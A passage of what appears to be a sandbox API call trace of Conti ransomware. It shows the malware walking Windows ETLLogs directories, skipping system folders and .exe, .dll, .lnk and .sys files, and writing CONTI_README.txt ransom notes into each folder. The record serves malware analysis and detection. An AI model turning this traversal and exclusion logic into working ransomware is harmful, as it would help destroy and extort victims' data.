	[0104.714] CloseHandle (hObject=0x38c) returned 1
	[0104.714] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0x52409c06, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x17c8370
	[0104.714] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0104.714] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0x52409c06, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0104.714] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0104.714] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0104.714] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd8d859b, ftCreationTime.dwHighDateTime=0x1d34734, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0xd37711f2, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 1
	[0104.714] lstrcmpiW (lpString1="AutoLogger-Diagtrack-Listener.etl", lpString2=".") returned 1
	[0104.714] lstrcmpiW (lpString1="AutoLogger-Diagtrack-Listener.etl", lpString2="..") returned 1
	[0104.714] StrStrIW (lpFirst="AutoLogger-Diagtrack-Listener.etl", lpSrch=".CONTI") returned 0x0
	[0104.714] StrStrIW (lpFirst="AutoLogger-Diagtrack-Listener.etl", lpSrch="CONTI_README.txt") returned 0x0
	[0104.714] StrStrIW (lpFirst="AutoLogger-Diagtrack-Listener.etl", lpSrch=".exe") returned 0x0
	[0104.714] StrStrIW (lpFirst="AutoLogger-Diagtrack-Listener.etl", lpSrch=".dll") returned 0x0
	[0104.714] StrStrIW (lpFirst="AutoLogger-Diagtrack-Listener.etl", lpSrch=".lnk") returned 0x0
	[0104.714] StrStrIW (lpFirst="AutoLogger-Diagtrack-Listener.etl", lpSrch=".sys") returned 0x0
	[0104.714] StrStrIW (lpFirst="AutoLogger-Diagtrack-Listener.etl", lpSrch=".CONTI") returned 0x0
	[0104.714] StrStrIW (lpFirst="AutoLogger-Diagtrack-Listener.etl", lpSrch="CONTI_README.txt") returned 0x0
	[0104.714] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger") returned 53
	[0104.714] lstrlenW (lpString="AutoLogger-Diagtrack-Listener.etl") returned 33
	[0104.714] GetProcessHeap () returned 0x1720000
	[0104.714] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb0) returned 0x17c3688
	[0104.714] lstrcpyW (in: lpString1=0x17c3688, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger"
	[0104.715] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\"
	[0104.715] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\", lpString2="AutoLogger-Diagtrack-Listener.etl" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl"
	[0104.715] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52409c06, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52409c06, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52409c06, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0104.715] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0104.715] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0104.715] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0104.715] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0104.715] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52409c06, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52409c06, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52409c06, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0104.715] GetProcessHeap () returned 0x1720000
	[0104.715] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740640 | out: hHeap=0x1720000) returned 1
	[0104.715] FindClose (in: hFindFile=0x17c8370 | out: hFindFile=0x17c8370) returned 1
	[0104.715] GetProcessHeap () returned 0x1720000
	[0104.715] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740b68 | out: hHeap=0x1720000) returned 1
	[0104.715] FindNextFileW (in: hFindFile=0x17c8070, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52409c06, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52409c06, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52409c06, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0104.715] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0104.715] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0104.715] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0104.715] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0104.715] FindNextFileW (in: hFindFile=0x17c8070, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="ScenarioShutdownLogger", cAlternateFileName="SCENAR~1")) returned 1
	[0104.715] lstrcmpiW (lpString1="ScenarioShutdownLogger", lpString2=".") returned 1
	[0104.715] lstrcmpiW (lpString1="ScenarioShutdownLogger", lpString2="..") returned 1
	[0104.715] lstrcmpiW (lpString1="ScenarioShutdownLogger", lpString2="tmp") returned -1
	[0104.715] lstrcmpiW (lpString1="ScenarioShutdownLogger", lpString2="winnt") returned -1
	[0104.715] lstrcmpiW (lpString1="ScenarioShutdownLogger", lpString2="Application Data") returned 1
	[0104.715] lstrcmpiW (lpString1="ScenarioShutdownLogger", lpString2="AppData") returned 1
	[0104.715] lstrcmpiW (lpString1="ScenarioShutdownLogger", lpString2="temp") returned -1
	[0104.715] lstrcmpiW (lpString1="ScenarioShutdownLogger", lpString2="thumb") returned -1
	[0104.715] lstrcmpiW (lpString1="ScenarioShutdownLogger", lpString2="$Recycle.Bin") returned 1
	[0104.715] lstrcmpiW (lpString1="ScenarioShutdownLogger", lpString2="$RECYCLE.BIN") returned 1
	[0104.715] lstrcmpiW (lpString1="ScenarioShutdownLogger", lpString2="System Volume Information") returned -1
	[0104.715] lstrcmpiW (lpString1="ScenarioShutdownLogger", lpString2="Program Files") returned 1
	[0104.715] lstrcmpiW (lpString1="ScenarioShutdownLogger", lpString2="Program Files (x86)") returned 1
	[0104.716] lstrcmpiW (lpString1="ScenarioShutdownLogger", lpString2="Boot") returned 1
	[0104.716] lstrcmpiW (lpString1="ScenarioShutdownLogger", lpString2="Windows") returned -1
	[0104.716] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs") returned 42
	[0104.716] lstrlenW (lpString="ScenarioShutdownLogger") returned 22
	[0104.716] GetProcessHeap () returned 0x1720000
	[0104.716] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x84) returned 0x1733bb8
	[0104.716] lstrcpyW (in: lpString1=0x1733bb8, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs"
	[0104.716] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\"
	[0104.716] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\", lpString2="ScenarioShutdownLogger" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger"
	[0104.716] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger") returned 65
	[0104.716] GetProcessHeap () returned 0x1720000
	[0104.716] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x88) returned 0x17c8f50
	[0104.716] lstrcpyW (in: lpString1=0x17c8f50, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger"
	[0104.716] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\*") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\*"
	[0104.716] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger") returned 65
	[0104.716] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0104.716] GetProcessHeap () returned 0x1720000
	[0104.716] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa6) returned 0x1732cc0
	[0104.716] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger"
	[0104.716] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\"
	[0104.716] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\CONTI_README.txt"
	[0104.716] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\scenarioshutdownlogger\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0104.717] GetProcessHeap () returned 0x1720000
	[0104.717] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0104.717] WriteFile (in: hFile=0x38c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0104.718] CloseHandle (hObject=0x38c) returned 1
	[0104.718] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5242ffb7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8370
	[0104.718] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0104.718] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5242ffb7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0104.718] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0104.718] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0104.718] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5242ffb7, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5242ffb7, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5242ffb7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0104.718] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0104.718] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0104.718] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0104.718] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0104.718] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5242ffb7, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5242ffb7, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5242ffb7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0104.718] GetProcessHeap () returned 0x1720000
	[0104.718] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8f50 | out: hHeap=0x1720000) returned 1
	[0104.718] FindClose (in: hFindFile=0x17c8370 | out: hFindFile=0x17c8370) returned 1
	[0104.718] GetProcessHeap () returned 0x1720000
	[0104.718] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1733bb8 | out: hHeap=0x1720000) returned 1
	[0104.718] FindNextFileW (in: hFindFile=0x17c8070, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d6afbff, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2d6afbff, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="ShutdownLogger", cAlternateFileName="SHUTDO~1")) returned 1
	[0104.718] lstrcmpiW (lpString1="ShutdownLogger", lpString2=".") returned 1
	[0104.718] lstrcmpiW (lpString1="ShutdownLogger", lpString2="..") returned 1
	[0104.718] lstrcmpiW (lpString1="ShutdownLogger", lpString2="tmp") returned -1
	[0104.718] lstrcmpiW (lpString1="ShutdownLogger", lpString2="winnt") returned -1
	[0104.718] lstrcmpiW (lpString1="ShutdownLogger", lpString2="Application Data") returned 1
	[0104.719] lstrcmpiW (lpString1="ShutdownLogger", lpString2="AppData") returned 1
	[0104.719] lstrcmpiW (lpString1="ShutdownLogger", lpString2="temp") returned -1
	[0104.719] lstrcmpiW (lpString1="ShutdownLogger", lpString2="thumb") returned -1
	[0104.719] lstrcmpiW (lpString1="ShutdownLogger", lpString2="$Recycle.Bin") returned 1
	[0104.719] lstrcmpiW (lpString1="ShutdownLogger", lpString2="$RECYCLE.BIN") returned 1
	[0104.719] lstrcmpiW (lpString1="ShutdownLogger", lpString2="System Volume Information") returned -1
	[0104.719] lstrcmpiW (lpString1="ShutdownLogger", lpString2="Program Files") returned 1
	[0104.719] lstrcmpiW (lpString1="ShutdownLogger", lpString2="Program Files (x86)") returned 1
	[0104.719] lstrcmpiW (lpString1="ShutdownLogger", lpString2="Boot") returned 1
	[0104.719] lstrcmpiW (lpString1="ShutdownLogger", lpString2="Windows") returned -1
	[0104.719] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs") returned 42
	[0104.719] lstrlenW (lpString="ShutdownLogger") returned 14
	[0104.719] GetProcessHeap () returned 0x1720000
	[0104.719] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x74) returned 0x17e41d8
	[0104.719] lstrcpyW (in: lpString1=0x17e41d8, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs"
	[0104.719] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\"
	[0104.719] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\", lpString2="ShutdownLogger" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger"
	[0104.719] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger") returned 57
	[0104.719] GetProcessHeap () returned 0x1720000
	[0104.719] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x78) returned 0x17e3558
	[0104.719] lstrcpyW (in: lpString1=0x17e3558, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger"
	[0104.719] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\*") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\*"
	[0104.719] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger") returned 57
	[0104.719] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0104.719] GetProcessHeap () returned 0x1720000
	[0104.719] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x96) returned 0x173f610
	[0104.719] lstrcpyW (in: lpString1=0x173f610, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger"
	[0104.719] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\"
	[0104.719] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\CONTI_README.txt"
	[0104.719] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\shutdownlogger\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0104.720] GetProcessHeap () returned 0x1720000
	[0104.720] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f610 | out: hHeap=0x1720000) returned 1
	[0104.720] WriteFile (in: hFile=0x38c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0104.721] CloseHandle (hObject=0x38c) returned 1
	[0104.721] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x5242ffb7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c85f0
	[0104.721] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0104.721] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x5242ffb7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0104.721] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0104.721] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0104.721] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb855a1cd, ftCreationTime.dwHighDateTime=0x1d33839, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbc623573, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 1
	[0104.722] lstrcmpiW (lpString1="AutoLogger-Diagtrack-Listener.etl", lpString2=".") returned 1
	[0104.722] lstrcmpiW (lpString1="AutoLogger-Diagtrack-Listener.etl", lpString2="..") returned 1
	[0104.722] StrStrIW (lpFirst="AutoLogger-Diagtrack-Listener.etl", lpSrch=".CONTI") returned 0x0
	[0104.722] StrStrIW (lpFirst="AutoLogger-Diagtrack-Listener.etl", lpSrch="CONTI_README.txt") returned 0x0
	[0104.722] StrStrIW (lpFirst="AutoLogger-Diagtrack-Listener.etl", lpSrch=".exe") returned 0x0
	[0104.722] StrStrIW (lpFirst="AutoLogger-Diagtrack-Listener.etl", lpSrch=".dll") returned 0x0
	[0104.722] StrStrIW (lpFirst="AutoLogger-Diagtrack-Listener.etl", lpSrch=".lnk") returned 0x0
	[0104.722] StrStrIW (lpFirst="AutoLogger-Diagtrack-Listener.etl", lpSrch=".sys") returned 0x0
	[0104.722] StrStrIW (lpFirst="AutoLogger-Diagtrack-Listener.etl", lpSrch=".CONTI") returned 0x0
	[0104.722] StrStrIW (lpFirst="AutoLogger-Diagtrack-Listener.etl", lpSrch="CONTI_README.txt") returned 0x0
	[0104.722] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger") returned 57
	[0104.722] lstrlenW (lpString="AutoLogger-Diagtrack-Listener.etl") returned 33
	[0104.722] GetProcessHeap () returned 0x1720000
	[0104.722] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c3740
